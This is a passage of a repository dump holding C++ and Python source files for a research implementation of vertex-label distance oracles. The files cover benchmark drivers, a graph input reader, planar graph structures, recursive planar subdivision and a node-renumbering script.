}\n\n printf(\"\\n\");\n}\n\ntemplate <class O>\nvoid performVertexToLabelGroupTest(int n, const vector< pair<int, int > > &edges, const vector<W> &weights, float frac, string filename) {\n \n srand(-1);\n int gc = 0;\n\n vector<int> labels(n);\n vector< vector<int> > labelCandidates(n);\n \n vector< vector<int> > groups;\n OracleTester::readGroupsFromFile(filename, groups);\n fprintf(stderr, \"groups! %d\\n\", (int)groups.size());\n\n gc = 0;\n for (vector<int> &g: groups) {\n for (int v: g) {\n labelCandidates[v].push_back(gc); \n }\n ++gc;\n }\n for (vector<int> &c: labelCandidates) {\n if (c.empty()) {\n groups.push_back(vector<int>(1, gc));\n c.push_back(gc++);\n }\n }\n \n for (int v=0; v<n; ++v) {\n labels[v] = labelCandidates[v][ rand() % labelCandidates[v].size()];\n }\n \n fprintf(stderr, \"Constructing...\\n\");\n fflush(stderr);\n O oracle(n, edges, weights, labels);\n fprintf(stderr, \" - done\\n\");\n \n for (int t=0; t<=T; ++t) {\n fprintf(stderr, \"t: %d\\n\", t);\n vector< int > type(M);\n vector< pair<int, int> > query(M);\n\n int a = pow(n, 0.5+(float)(t-T/2)/T/frac);\n int b = pow(n, 0.5+(float)(T/2-t)/T/frac);\n vector<int> typeCycle(a+b);\n for (int i=0; i<a; ++i) typeCycle[i] = 0;\n for (int i=a; i<a+b; ++i) typeCycle[i] = 1;\n random_shuffle(typeCycle.begin(), typeCycle.end());\n\n int tc = 0;\n for (int i=0; i<M; ++i) {\n type[i] = typeCycle[tc++];\n if (tc == a+b) tc = 0;\n\n int v = rand()%n;\n\n switch (type[i]) {\n case 0: query[i] = make_pair(v, labelCandidates[v][ rand() % labelCandidates[v].size()]); break;\n case 1: query[i] = make_pair(rand()%n, rand()%n); break;\n }\n }\n\n printf(\"%.12f \", timeProportionTest(oracle, M, type, query)); \n }\n\n printf(\"\\n\");\n}\n\ntemplate <class O>\nvoid performLabelToLabelGroupTest(int n, const vector< pair<int, int > > &edges, const vector<W> &weights, float frac, string filename) {\n \n srand(-1);\n int gc = 0;\n\n vector<int> labels(n);\n vector< vector<int> > labelCandidates(n);\n \n vector< vector<int> > groups;\n OracleTester::readGroupsFromFile(filename, groups);\n fprintf(stderr, \"groups! %d\\n\", (int)groups.size());\n\n gc = 0;\n for (vector<int> &g: groups) {\n for (int v: g) {\n labelCandidates[v].push_back(gc); \n }\n ++gc;\n }\n for (vector<int> &c: labelCandidates) {\n if (c.empty()) {\n groups.push_back(vector<int>(1, gc));\n c.push_back(gc++);\n }\n }\n \n for (int v=0; v<n; ++v) {\n labels[v] = labelCandidates[v][ rand() % labelCandidates[v].size()];\n }\n \n fprintf(stderr, \"Constructing...\\n\");\n fflush(stderr);\n O oracle(n, edges, weights, labels);\n fprintf(stderr, \" - done\\n\");\n \n for (int t=0; t<=T; ++t) {\n fprintf(stderr, \"t: %d\\n\", t);\n vector< int > type(M);\n vector< pair<int, int> > query(M);\n\n int a = pow(n, 0.5+(float)(t-T/2)/T/frac);\n int b = pow(n, 0.5+(float)(T/2-t)/T/frac);\n vector<int> typeCycle(a+b);\n for (int i=0; i<a; ++i) typeCycle[i] = 0;\n for (int i=a; i<a+b; ++i) typeCycle[i] = 1;\n random_shuffle(typeCycle.begin(), typeCycle.end());\n\n int tc = 0;\n for (int i=0; i<M; ++i) {\n type[i] = typeCycle[tc++];\n if (tc == a+b) tc = 0;\n\n int v = rand()%n;\n\n switch (type[i]) {\n case 0: query[i] = make_pair(v, labelCandidates[v][ rand() % labelCandidates[v].size()]); break;\n case 1: query[i] = make_pair(rand()%n, rand()%n); break;\n }\n }\n\n printf(\"%.12f \", timeLabelProportionTest(oracle, M, type, query)); \n }\n\n printf(\"\\n\");\n}\n\n\nvoid printProportionLabels(int n, float frac = 1.) {\n for (int t=0; t<=T; ++t) {\n printf(\"%.2f \", (float)(t*2-T)/T/frac);\n }\n printf(\"\\n\");\n}\n\nvoid performVertexToLabelProportionTestAll(int n, const vector< pair<int, int> > &edges, const vector<W> &weights, float frac = 1.) {\n printProportionLabels(n, frac);\n performVertexToLabelProportionTest<OracleNaive>(n, edges, weights, frac);\n performVertexToLabelProportionTest<OracleGeneral3Approx>(n, edges, weights, frac);\n performVertexToLabelProportionTest<OracleGeneral5ApproxUpdate>(n, edges, weights, frac);\n performVertexToLabelProportionTest<OracleGeneral5ApproxQuery>(n, edges, weights, frac);\n performVertexToLabelProportionTest<FullPlanarOracle>(n, edges, weights, frac);\n}\n\nvoid performLabelToLabelProportionTestAll(int n, const vector< pair<int, int> > &edges, const vector<W> &weights, float frac = 1.) {\n printProportionLabels(n, frac);\n performLabelToLabelProportionTest<OracleNaiveSet>(n, edges, weights, frac);\n performLabelToLabelProportionTest<OracleGeneral3Approx>(n, edges, weights, frac);\n performLabelToLabelProportionTest<FullFullPlanarOracle>(n, edges, weights, frac);\n}\n\nvoid performVertexToLabelGroupTestAll(int n, const vector< pair<int, int> > &edges, const vector<W> &weights, float frac, string filename) {\n printProportionLabels(n, frac);\n performVertexToLabelGroupTest<OracleNaive>(n, edges, weights, frac, filename);\n performVertexToLabelGroupTest<OracleGeneral3Approx>(n, edges, weights, frac, filename);\n performVertexToLabelGroupTest<OracleGeneral5ApproxUpdate>(n, edges, weights, frac, filename);\n performVertexToLabelGroupTest<OracleGeneral5ApproxQuery>(n, edges, weights, frac, filename);\n}\n\nvoid performLabelToLabelGroupTestAll(int n, const vector< pair<int, int> > &edges, const vector<W> &weights, float frac, string filename) {\n printProportionLabels(n, frac);\n performLabelToLabelGroupTest<OracleNaiveSet>(n, edges, weights, frac, filename);\n performLabelToLabelGroupTest<OracleGeneral3Approx>(n, edges, weights, frac, filename);\n}\n\ntemplate <int epsn>\nvoid performPlanarErrorTest(int n, const vector< pair<int, int> > &edges, const vector<W> &weights) {\n srand(-1);\n\n float eps = (float)epsn/100;\n vector<int> labels(n);\n// random\n for (int i=0; i<n; ++i) labels[i] = rand() % n;\n// groups of K\n/*\n for (int i=0; i<n; ++i) labels[i] = i / K;\n vector<int> labelsCopy(labels);\n int last = 0;\n*/\n fprintf(stderr, \"Constructing...\\n\");\n fflush(stderr);\n OracleNaive oraclen(n, edges, weights, labels);\n FullPlanarOracle oracle(n, edges, weights, labels, eps);\n fprintf(stderr, \" - done\\n\");\n\n printf(\"%.2f \", 1+eps);\n\n vector< pair<int, int> > query(M);\n vector< float > result(M);\n vector< float > approx(M);\n\n for (int i=0; i<M; ++i) {\n query[i] = make_pair(rand()%n, oraclen.labelOf(rand()%n));\n result[i] = oraclen.distanceToLabel(query[i].first, query[i].second).first;\n }\n\n startTime();\n\n for (int i=0; i<M; ++i) {\n approx[i] = oracle.distanceToLabel(query[i].first, query[i].second).first;\n }\n\n printf(\"%.12f \", stopTime());\n\n float err = 0;\n for (int i=0; i<M; ++i) {\n if (result[i] == 0) {\n err += 1;\n } else {\n err += approx[i] / result[i];\n }\n }\n\n printf(\"%.12f\\n\", err/M);\n}\n\nvoid performPlanarErrorTestAll(int n, const vector< pair<int, int> > &edges, const vector<W> &weights) {\n performPlanarErrorTest<20>(n, edges, weights);\n performPlanarErrorTest<30>(n, edges, weights);\n performPlanarErrorTest<40>(n, edges, weights);\n performPlanarErrorTest<50>(n, edges, weights);\n performPlanarErrorTest<60>(n, edges, weights);\n performPlanarErrorTest<70>(n, edges, weights);\n performPlanarErrorTest<80>(n, edges, weights);\n performPlanarErrorTest<90>(n, edges, weights);\n performPlanarErrorTest<100>(n, edges, weights);\n performPlanarErrorTest<110>(n, edges, weights);\n performPlanarErrorTest<120>(n, edges, weights);\n performPlanarErrorTest<130>(n, edges, weights);\n performPlanarErrorTest<140>(n, edges, weights);\n performPlanarErrorTest<150>(n, edges, weights);\n performPlanarErrorTest<160>(n, edges, weights);\n performPlanarErrorTest<170>(n, edges, weights);\n performPlanarErrorTest<180>(n, edges, weights);\n performPlanarErrorTest<190>(n, edges, weights);\n performPlanarErrorTest<200>(n, edges, weights);\n}\n\nint main() {\n int n;\n vector< pair<int, int> > edges;\n vector< W > weights;\n\n vector< int > labels;\n vector< pair< int, int > > updates, queries;\n\n// OracleTester::generateGraph(2000, 8000, 200, n, edges, weights);\n OracleTester::readUnweightedGraphFromInput(n, edges, weights);\n\n fprintf(stderr, \"Read %d %d!\\n\", n, (int)edges.size());\n fflush(stderr);\n/*\n {\n performVertexToLabelGroupTestAll(n, edges, weights, 2., \"../amazon-g.in\");\n }\n*/\n\n {\n performLabelToLabelGroupTestAll(n, edges, weights, 2., \"../dblp-g.in\");\n }\n\n/*\n {\n performVertexToLabelProportionTestAll(n, edges, weights, 2.);\n }\n*/\n/*\n {\n performLabelToLabelProportionTestAll(n, edges, weights, 2.);\n }\n*/\n/*\n {\n performPlanarErrorTestAll(n, edges, weights);\n }\n*/\n// Correctness test\n/*\n {\n srand(24);\n const int K = 500;\n int T = 10;\n// OracleTester::selectQueries(n, 4, K, labels, updates);\n labels.resize(n);\n for (int i=0; i<n; ++i) labels[i] = i;\n updates.resize(K);\n for (auto &u: updates) {\n u = make_pair(rand()%n, rand()%n);\n }\n\n OracleGeneral3Approx oracle3(n, edges, weights, labels);\n OracleGeneral5ApproxQuery oracle5q(n, edges, weights, labels);\n OracleGeneral5ApproxUpdate oracle5u(n, edges, weights, labels);\n OracleNaive oraclen(n, edges, weights, labels);\n FullPlanarOracle oraclep(n, edges, weights, labels, 0.5);\n FullFullPlanarOracle oraclepp(n, edges, weights, labels, 0.5);\n\t\n\tdouble oracle3Err = 0, oracle5qErr = 0, oracle5uErr = 0, oraclepErr = 0;\n\tdouble oracle3LLErr = 0, oraclepLLErr = 0;\n\n for (int i=0; i<(int)updates.size(); ++i) {\n printf(\"%d\\n\", i);\n \n pair<int, int> update = updates[i];\n oraclen.setLabel(update.first, update.second);\n oracle3.setLabel(update.first, update.second);\n oracle5q.setLabel(update.first, update.second);\n oracle5u.setLabel(update.first, update.second);\n oraclep.setLabel(update.first, update.second);\n oraclepp.setLabel(update.first, update.second);\n\n for (int t=0; t<T; ++t) {\n int u = rand()%n;\n int v = rand()%n;\n\n auto exact = oraclen.distanceToLabel(u, oraclen.labelOf(v));\n auto approx3 = oracle3.distanceToLabel(u, oracle3.labelOf(v));\n auto approx5q = oracle5q.distanceToLabel(u, oracle5q.labelOf(v));\n auto approx5u = oracle5u.distanceToLabel(u, oracle5u.labelOf(v));\n auto approxp = oraclep.distanceToLabel(u, oraclep.labelOf(v));\n\n assert(exact.first <= approx3.first);\n assert(exact.first <= approx5q.first);\n assert(exact.first <= approx5u.first);\n assert(exact.first <= approxp.first);\n assert(exact.first * 3 >= approx3.first);\n assert(exact.first * 5 >= approx5q.first);\n assert(exact.first * 5 >= approx5u.first);\n assert(exact.first * 1.5 >= approxp.first);\n \n\t\tif (exact.first == 0) {\n\t\t\toracle3Err += 1;\n\t\t\toracle5qErr += 1;\n\t\t\toracle5uErr += 1;\n\t\t\toraclepErr += 1;\n\t\t} else {\n\t\t\toracle3Err += approx3.first / exact.first;\n\t\t\toracle5qErr += approx5q.first / exact.first;\n\t\t\toracle5uErr += approx5u.first / exact.first;\n\t\t\toraclepErr += approxp.first / exact.first;\n\t\t}\n }\n\n for (int t=0; t<T; ++t) {\n int u = rand()%n;\n int v = rand()%n;\n\n auto exact = oraclen.distanceBetweenLabels(oraclen.labelOf(u), oraclen.labelOf(v));\n auto approx3 = oracle3.distanceBetweenLabels(oracle3.labelOf(u), oracle3.labelOf(v));\n auto approxp = oraclepp.distanceBetweenLabels(oraclepp.labelOf(u), oraclepp.labelOf(v));\n\n assert(exact.first <= approx3.first);\n assert(exact.first <= approxp.first);\n assert(exact.first * 3 >= approx3.first);\n assert(exact.first * 1.5 >= approxp.first);\n\n\t\tif(exact.first == 0) {\n\t\t\toracle3LLErr += 1;\n\t\t\toraclepLLErr += 1;\n\t\t} else {\n\t\t\toracle3LLErr += approx3.first / exact.first;\n\t\t\toraclepLLErr += approxp.first / exact.first;\n\t\t}\n }\n }\n\n\tcout << \"approx 3 \" << oracle3Err / (K*T) << endl;\n\tcout << \"approx u 5 \" << oracle5uErr / (K*T) << endl;\n\tcout << \"approx q 5 \" << oracle5qErr / (K*T) << endl;\n\tcout << \"approx p 1.5 \" << oraclepErr / (K*T) << endl;\n\t\n\tcout << \"approx 3 l-l \" << oracle3LLErr / (K*T) << endl;\n\tcout << \"approx p l-l \" << oraclepLLErr / (K*T) << endl;\n }\n*/\n // Time test\n/*\n {\n OracleTester::selectQueries(n, 4, K, labels, updates);\n printf(\"Comparing:\\n\");\n printf(\" - Dijkstra oracle\\n\");\n printf(\" - 3 approximate oracle\\n\");\n printf(\" - 5 approximate oracle with constant query time\\n\");\n printf(\" - 5 approximate oracle with constant update time\\n\");\n printf(\"\\n\");\n\n printf(\" -- INITIALIZATION --\\n\");\n printf(\"Oracle Naive\\n\");\n startTime();\n OracleNaive oraclen(n, edges, weights, labels);\n stopTimePrint();\n\n printf(\"Oracle 3-approx\\n\");\n startTime();\n OracleGeneral3Approx oracle3(n, edges, weights, labels);\n stopTimePrint();\n\n printf(\"Oracle 5-approx query\\n\");\n startTime();\n OracleGeneral5ApproxQuery oracle5q(n, edges, weights, labels);\n stopTimePrint();\n\n printf(\"Oracle 5-approx update\\n\");\n startTime();\n OracleGeneral5ApproxUpdate oracle5u(n, edges, weights, labels);\n stopTimePrint();\n\n printf(\"\\n -- UPDATE --\\n\");\n printf(\"Oracle Naive\\n\");\n startTime();\n for (auto &u: updates)\n oraclen.setLabel(u.first, u.second);\n stopTimePrint();\n\n printf(\"Oracle 3-approx\\n\");\n startTime();\n for (auto &u: updates)\n oracle3.setLabel(u.first, u.second);\n stopTimePrint();\n\n printf(\"Oracle 5-approx query\\n\");\n startTime();\n for (auto &u: updates)\n oracle5q.setLabel(u.first, u.second);\n stopTimePrint();\n\n printf(\"Oracle 5-approx update\\n\");\n startTime();\n for (auto &u: updates)\n oracle5u.setLabel(u.first, u.second);\n stopTimePrint();\n\n updates.clear();\n for (int i=0; i<K; ++i)\n updates.push_back(make_pair(rand()%n, oraclen.labelOf(rand()%n)));\n\n printf(\"\\n -- QUERY1 --\\n\");\n printf(\"Oracle Naive\\n\");\n startTime();\n for (auto &u: updates)\n oraclen.distanceToLabel(u.first, u.second);\n stopTimePrint();\n\n printf(\"Oracle 3-approx\\n\");\n startTime();\n for (auto &u: updates)\n oracle3.distanceToLabel(u.first, u.second);\n stopTimePrint();\n\n printf(\"Oracle 5-approx query\\n\");\n startTime();\n for (auto &u: updates)\n oracle5q.distanceToLabel(u.first, u.second);\n stopTimePrint();\n\n printf(\"Oracle 5-approx update\\n\");\n startTime();\n for (auto &u: updates)\n oracle5u.distanceToLabel(u.first, u.second);\n stopTimePrint();\n\n updates.clear();\n for (int i=0; i<K; ++i)\n updates.push_back(make_pair(oraclen.labelOf(rand()%n), oraclen.labelOf(rand()%n)));\n\n printf(\"\\n -- QUERY2 --\\n\");\n printf(\"Oracle Naive\\n\");\n startTime();\n for (auto &u: updates)\n oraclen.distanceToLabel(u.first, u.second);\n stopTimePrint();\n\n printf(\"Oracle 3-approx\\n\");\n startTime();\n for (auto &u: updates)\n oracle3.distanceToLabel(u.first, u.second);\n stopTimePrint();\n\n }\n*/\n return 0;\n}\n" }, { "alpha_fraction": 0.4760218858718872, "alphanum_fraction": 0.47891858220100403, "avg_line_length": 25.55555534362793, "blob_id": "5120a986f6fafc6fe14c985b223856bac84600dc", "content_id": "ede08af2e16db1bb3ef163f1732d7b1e136ce7c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3107, "license_type": "no_license", "max_line_length": 119, "num_lines": 117, "path": "/src/oracle_tester.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _ORACLE_TESTER_H_\n#define _ORACLE_TESTER_H_\n\n#include \"precision.h\"\n#include \"find_union.h\"\n\n#include <vector>\n#include <utility>\n#include <set>\n#include <string>\n#include <fstream>\n#include <sstream>\n\nusing std::pair;\nusing std::vector;\nusing std::set;\nusing std::make_pair;\nusing std::swap;\nusing std::string;\nusing std::ifstream;\nusing std::istringstream;\n\nclass OracleTester {\npublic:\n static\n void readGraphFromInput(int &n, vector< pair<int, int> > &edges, vector< W > &weights) {\n scanf(\"%d\", &n);\n int u, v;\n W w;\n while (scanf(\"%d %d %f\", &u, &v, &w) != EOF) {\n edges.push_back(make_pair(u, v));\n weights.push_back(w);\n }\n }\n \n static\n void readUnweightedGraphFromInput(int &n, vector< pair<int, int> > &edges, vector< W > &weights, int minimal = 0) {\n scanf(\"%d\", &n);\n int u, v;\n while (scanf(\"%d %d\", &u, &v) != EOF) {\n edges.push_back(make_pair(u - minimal, v - minimal));\n weights.push_back(1.);\n n = max(n, max(u, v));\n }\n }\n\n static\n void readGroupsFromFile(string filename, vector< vector<int> > &groups, int minimal = 0) {\n ifstream file(filename);\n string line;\n while (getline(file, line)) {\n istringstream iline(line);\n\n groups.push_back(vector<int>());\n int e;\n while (iline >> e) {\n groups.back().push_back(e - minimal);\n }\n }\n } \n\n static\n void generateGraph(int nn, int m, int w, int& n, vector< pair<int, int> > &edges, vector< W > &weights) {\n n = nn;\n int counter = n;\n FindUnion fu(n);\n set< pair<int, int> > e;\n\n for (int i=0; i<m-counter+1; ++i) {\n int u = rand()%n;\n int v = rand()%n;\n if (u > v) swap(u,v);\n if (u == v) continue;\n if (e.find(make_pair(u,v)) != e.end()) continue;\n e.insert(make_pair(u,v));\n if (fu.find(u) == fu.find(v)) continue;\n fu.unionn(u,v);\n counter--;\n }\n\n while (counter > 1) {\n int u = rand()%n;\n int v = rand()%n;\n if (u > v) swap(u,v);\n if (u == v) continue;\n if (e.find(make_pair(u,v)) != e.end()) continue;\n if (fu.find(u) == fu.find(v)) continue;\n e.insert(make_pair(u,v));\n fu.unionn(u,v);\n counter--;\n }\n\n for (pair<int, int> p: e) {\n edges.push_back(p);\n weights.push_back(rand()%w+1);\n }\n }\n\n static\n void selectQueries(int n, int k, int m, vector<int> &labels, vector< pair<int, int> > &updates) {\n vector<int> curr(n);\n for (int i=0; i<n; ++i) curr[i] = i/k;\n random_shuffle(curr.begin(), curr.end());\n labels = curr;\n \n int v = rand()%n;\n for (int i=0; i<m; ++i) {\n int u = rand()%n;\n updates.push_back(make_pair(v, curr[u]));\n curr[v] = curr[u];\n v = u;\n }\n }\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.556430459022522, "alphanum_fraction": 0.5853018164634705, "avg_line_length": 20.16666603088379, "blob_id": "1382c114fdd68012b07b17eb107b191c285629d4", "content_id": "e602d712a214fe2a27e888f1d01c26ebbcb87ab2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 762, "license_type": "no_license", "max_line_length": 50, "num_lines": 36, "path": "/scripts/renumber.py", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n\nimport sys\n\nif (len(sys.argv) == 5):\n d1File = open(sys.argv[1], 'r')\n g1File = open(sys.argv[2], 'r')\n d2File = open(sys.argv[3], 'w')\n g2File = open(sys.argv[4], 'w')\nelse:\n d1File = sys.stdin\n d2File = sys.stdout\n\nvcount = 0\nvdict = {}\n\nedges = [line.split() for line in d1File]\nfor edge in edges:\n for vertex in edge:\n if not vertex in vdict:\n vdict[vertex] = vcount\n vcount += 1\n\nprint >>d2File, vcount\nfor edge in edges:\n print >>d2File, vdict[edge[0]], vdict[edge[1]]\n\nif not g1File:\n exit(0)\n\ngroups = [line.split() for line in g1File]\nfor group in groups:\n printstr = \"\"\n for element in group:\n printstr += str(vdict[element]) + \" \";\n print >>g2File, printstr\n" }, { "alpha_fraction": 0.48523449897766113, "alphanum_fraction": 0.49247249960899353, "avg_line_length": 25.467432022094727, "blob_id": "77525bd268f3cdffcd09eeddd768f7fee8d66575", "content_id": "6e8512b7ae8ff0f05ab2adbc6f981f2ed8d33011", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 6908, "license_type": "no_license", "max_line_length": 84, "num_lines": 261, "path": "/src/planar_oracle.cpp", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#include \"precision.h\"\n#include \"planar_oracle.h\"\n\n#include <algorithm>\n#include <queue>\n#include <iostream>\nusing namespace std;\nusing std::min;\nusing std::max;\nusing std::sort;\nusing std::priority_queue;\nusing std::greater;\nusing std::make_pair;\n\nvoid\nPlanarOracle::initialize(\n int n,\n const vector< pair< int, int > >& edge, \n const vector< W >& weight,\n W eps) {\n PlanarGraph graph(n);\n\n for (int i=0; i<(int)edge.size(); ++i) {\n graph.add_edge(edge[i].first, edge[i].second, weight[i]);\n }\n embed(graph);\n\n pair<W, W> stretch(getStretch(graph)); \n W alpha = stretch.first;\n \n while (alpha <= stretch.second) {\n\t\n\tcerr << alpha << endl;\n\n vector< vector<int> > tmpParents, tmpMappings;\n vector< vector<bool> > tmpSources;\n vector< PlanarGraph > tmpSubgs;\n\n getAlphaFamily(graph, alpha, tmpSubgs, tmpMappings, tmpParents, tmpSources);\n\n assert(tmpSources.size() == tmpMappings.size());\n \n for (int i=0; i<(int)tmpSubgs.size(); ++i) {\n\n for (int j=1; j<(int)tmpMappings[i].size(); ++j) {\n assert(tmpMappings[i][j] != -1);\n }\n\n subdivideRecursively(\n tmpSubgs[i],\n alpha,\n eps,\n tmpMappings[i],\n tmpParents[i],\n tmpSources[i]);\n }\n\n alpha *= 2;\n }\n}\n\nvoid\nPlanarOracle::getLayers(\n vector<W> dist,\n W alpha,\n vector<int>& layerNum) {\n layerNum = vector<int>(dist.size());\n for (int i=0; i<(int)dist.size(); ++i) {\n layerNum[i] = (int)(dist[i] / alpha);\n }\n}\n\nvoid\nPlanarOracle::getAlphaFamily(\n const PlanarGraph& g, \n W alpha, \n vector< PlanarGraph >& subgs,\n vector< vector<int> >& mappings,\n vector< vector<int> >& parents,\n vector< vector<bool> >& sources) {\n\n vector<int> parent(g.vs().size(), -1);\n\n// almost getDistances\n// however, we calculate parent table\n vector<W> dist(g.vs().size(), infinity); \n typedef pair<W, int> QEl;\n priority_queue< QEl, vector<QEl>, greater<QEl> > queue;\n\n dist[0] = 0;\n queue.push(make_pair(0, 0));\n while (!queue.empty()) {\n QEl curr = queue.top(); queue.pop();\n int u = curr.second;\n W d = curr.first;\n if (d != dist[u]) continue;\n for (int e: g.vs()[u].edges) {\n int v = g.opp(u, e);\n if (dist[v] > d + g.es()[e].w) {\n dist[v] = d + g.es()[e].w;\n parent[v] = e;\n queue.push(make_pair(dist[v], v));\n }\n }\n }\n\n vector<int> layerNum;\n getLayers(dist, alpha, layerNum);\n \n int maxLayer = 0;\n for (int i=0; i<(int)g.vs().size(); ++i) {\n maxLayer = max(maxLayer, layerNum[i]);\n }\n vector< vector<int> > layers(maxLayer+1);\n for (int i=0; i<(int)g.vs().size(); ++i) {\n if (i) {\n assert(parent[i] != -1);\n assert(layerNum[g.opp(i, parent[i])] <= layerNum[i]);\n }\n layers[layerNum[i]].push_back(i);\n }\n\n vector< pair< PlanarGraph, vector<int> > > result;\n vector< int > vInd(g.vs().size(), -1);\n vector< int > eInd(g.es().size(), -1);\n \n for (int l = 0; l <= maxLayer; ++l) {\n int la = l-1, lb = l+1; \n \n vector<int> selection;\n for (int i=max(0, la); i<=min(maxLayer, lb); ++i) {\n selection.insert(selection.end(), layers[i].begin(), layers[i].end());\n }\n\n PlanarGraph subg;\n vector<int> mapping, subparent;\n\n extractSubgraph(\n g, parent, selection,\n subg, subparent, mapping,\n vInd, eInd);\n\n assert(isPlanar(subg));\n \n vector<bool> source(mapping.size(), false);\n for (int i=0; i<(int)mapping.size(); ++i) {\n if (mapping[i] == -1) continue;\n if (layerNum[mapping[i]] == l)\n source[i] = true;\n }\n\n subgs.push_back(subg);\n mappings.push_back(mapping);\n parents.push_back(subparent);\n sources.push_back(source);\n }\n}\n\nvoid\nPlanarOracle::selectPathPortals(\n const PlanarGraph& g, \n W alpha, \n W eps,\n vector< vector< pair<int, int> > > paths,\n vector<int>& portal) {\n\n assert(paths.size() <= 3);\n portal.clear(); \n/*\n for (int j=0; j<(int)paths.size(); ++j) {\n pair<int, int> prevV(-1, -1);\n W dist = infinity;\n\n for (int k=paths[j].size()-2; k>=0; --k) {\n int v = paths[j][k].first;\n W w;\n if (k != 0) {\n w = g.es()[paths[j][k-1].second].w;\n } else {\n w = g.es()[paths[j][paths.size()-2].second].w;\n }\n\n if (dist + w > alpha*eps/2) {\n portal.push_back(v);\n dist = 0;\n }\n\n dist += w;\n }\n }\n*/\n for (int j=0; j<(int)paths.size(); ++j) {\n pair<int, int> prevV(-1, -1);\n W dist = infinity;\n for (int k=0; k<(int)paths[j].size()-1; ++k) {\n int v = paths[j][k].first;\n W w = g.es()[paths[j][k].second].w;\n\n if (dist + w > alpha*eps/2) {\n portal.push_back(v);\n dist = 0;\n }\n\n dist += w;\n }\n }\n\n sort(portal.begin(), portal.end());\n auto it = unique(portal.begin(), portal.end());\n portal.resize(std::distance(portal.begin(), it));\n\n assert(portal.size() <= 3 * 3 * (int)(1/eps + 1) * 4);\n}\n\nvoid\nPlanarOracle::subdivideRecursively(\n const PlanarGraph& pg,\n W alpha,\n W eps,\n const vector<int>& mapping,\n const vector<int>& parents,\n const vector<bool>& sources) {\n\n if ((int)pg.vs().size() <= ro) {\n processLeaf(pg, mapping, sources);\n return;\n }\n\n vector< vector<int> > tmpParents, tmpMappings;\n vector< PlanarGraph > tmpSubgs;\n vector< vector< pair<int, int> > > tmpPaths;\n vector<int> newPortals;\n \n subdivide(pg, parents, tmpSubgs, tmpMappings, \n tmpParents, tmpPaths);\n\n// Sciezki\n selectPathPortals(pg, alpha, eps, tmpPaths, newPortals);\n processPortals(pg, mapping, newPortals, sources);\n\n// Rekursja\n for (int j=0; j<(int)tmpSubgs.size(); ++j) {\n vector<bool> tmpSources;\n for (int k=0; k<(int)tmpMappings[j].size(); ++k) {\n if (tmpMappings[j][k] == -1) {\n tmpSources.push_back(false);\n continue;\n }\n tmpSources.push_back(sources[tmpMappings[j][k]]);\n tmpMappings[j][k] = mapping[tmpMappings[j][k]];\n }\n \n subdivideRecursively(\n tmpSubgs[j],\n alpha,\n eps,\n tmpMappings[j],\n tmpParents[j],\n tmpSources);\n }\n}\n" }, { "alpha_fraction": 0.4834076166152954, "alphanum_fraction": 0.4853888154029846, "avg_line_length": 20.03125, "blob_id": "5a8adf0241d8b35da78282d4f75656cfa9f08f5e", "content_id": "482182e9a27363c6badf4d8faa38baf0af7dd03e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2019, "license_type": "no_license", "max_line_length": 89, "num_lines": 96, "path": "/src/planar.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _PLANAR_H_\n#define _PLANAR_H_\n\n#include \"precision.h\"\n\n#include <vector>\n#include <utility>\n#include <limits>\n#include <cassert>\n\nusing std::vector;\nusing std::pair;\n\nclass PlanarGraph {\npublic:\n struct Edge {\n Edge(int uu, int vv, W ww) : \n u(uu), v(vv), w(ww), uNext(-1), vNext(-1) {\n assert(w != 0); \n }\n Edge(int uu, int vv) : Edge(uu, vv, infinity) {}\n\n int u, v;\n W w;\n int uNext, vNext;\n };\n\n struct Vertex {\n Vertex() : edges() {}\n\n vector<int> edges;\n };\n\n vector<Vertex> vertices;\n vector<Edge> edges;\n\n PlanarGraph() {}\n PlanarGraph(int n) : vertices(n) {}\n PlanarGraph(int n, vector< pair<int, int> > edges, vector<W> weights) : vertices(n) {\n for (int i=0; i<(int)edges.size(); ++i) {\n add_edge(edges[i].first, edges[i].second, weights[i]);\n }\n }\n\n vector<Vertex>& vs() {\n return vertices;\n }\n\n const vector<Vertex>& vs() const {\n return vertices;\n }\n\n vector<Edge>& es() {\n return edges;\n }\n\n const vector<Edge>& es() const {\n return edges;\n }\n \n int add_edge(int u, int v, W w = infinity) {\n assert(u != v);\n /*\n for (auto &e: es()) {\n assert(u != e.u || v != e.v);\n assert(v != e.u || u != e.v);\n }\n */\n int res = es().size();\n es().push_back(Edge(u, v, w));\n vs()[u].edges.push_back(res);\n vs()[v].edges.push_back(res);\n return res;\n }\n\n int opp(int u, int e) const {\n if (es()[e].u == u) return es()[e].v;\n return es()[e].u;\n }\n\n int& eNext(int u, int e) {\n if (es()[e].u == u) return es()[e].uNext;\n return es()[e].vNext;\n }\n\n int eNext(int u, int e) const {\n if (es()[e].u == u) return es()[e].uNext;\n return es()[e].vNext;\n }\n};\n\nbool isPlanar(const PlanarGraph& g);\nvoid embed(PlanarGraph& g);\nvoid triangulate(PlanarGraph& g);\n\n#endif\n" }, { "alpha_fraction": 0.7083333134651184, "alphanum_fraction": 0.7083333134651184, "avg_line_length": 15, "blob_id": "749d46cf2b168df582328254556a59b5b3d33948", "content_id": "345ac08b676f6c47d1af8f69e65efe76ba5fd2b1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 144, "license_type": "no_license", "max_line_length": 54, "num_lines": 9, "path": "/src/precision.h", "repo_name": "netkuba/vertex-label-oracles-implementation", "src_encoding": "UTF-8", "text": "#ifndef _PRECISION_H_\n#define _PRECISION_H_\n\n#include <limits>\n\ntypedef float W;\nconst W infinity = std::numeric_limits<W>::infinity();\n\n#endif\n" }, { "alpha_fraction": 0.5765796303749084, "alphanum_fraction": 0.5780960321426392, "avg_line_length": 32.15642547607422, "blob_id": "2a9de6689c4f08bb9e2d964a331223bdae977619", "content_id": "9ca8aeee7cfc4ce1011db7d57c217e9502221b1b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5935, 